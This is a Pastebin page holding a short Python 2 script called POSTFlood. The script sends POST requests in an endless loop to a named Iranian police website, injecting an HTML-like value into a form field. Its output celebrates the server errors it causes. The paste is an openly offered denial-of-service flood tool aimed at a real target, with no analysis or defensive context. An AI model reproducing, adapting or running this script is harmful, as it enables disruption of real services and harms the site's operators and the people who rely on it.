Advertisement
Guest User

Untitled

a guest
May 1st, 2011
13,930
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.61 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. from urllib import urlencode as encode;
  4. from urllib2 import Request, urlopen, HTTPError;
  5.  
  6. class POSTFlood:
  7.     def __init__(self):
  8.         self.url = "http://police.ir/Portal/Home/default.aspx";
  9.         self.field = "ctl29$QuestionContent1$txtName";
  10.         self.unsafe = "<foo>";
  11.         self.post = {self.field:self.unsafe};
  12.         self.post = encode(self.post);
  13.         while 1:   
  14.             self.request();    
  15.            
  16.  
  17.     def request(self):
  18.         try:
  19.             r = Request(self.url, self.post);
  20.             urlopen(r);
  21.  
  22.         except HTTPError:
  23.             print "[+] Got back error 500 :)";
  24.  
  25.         except:
  26.             print "[-] There was a problem";           
  27.  
  28. POSTFlood();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement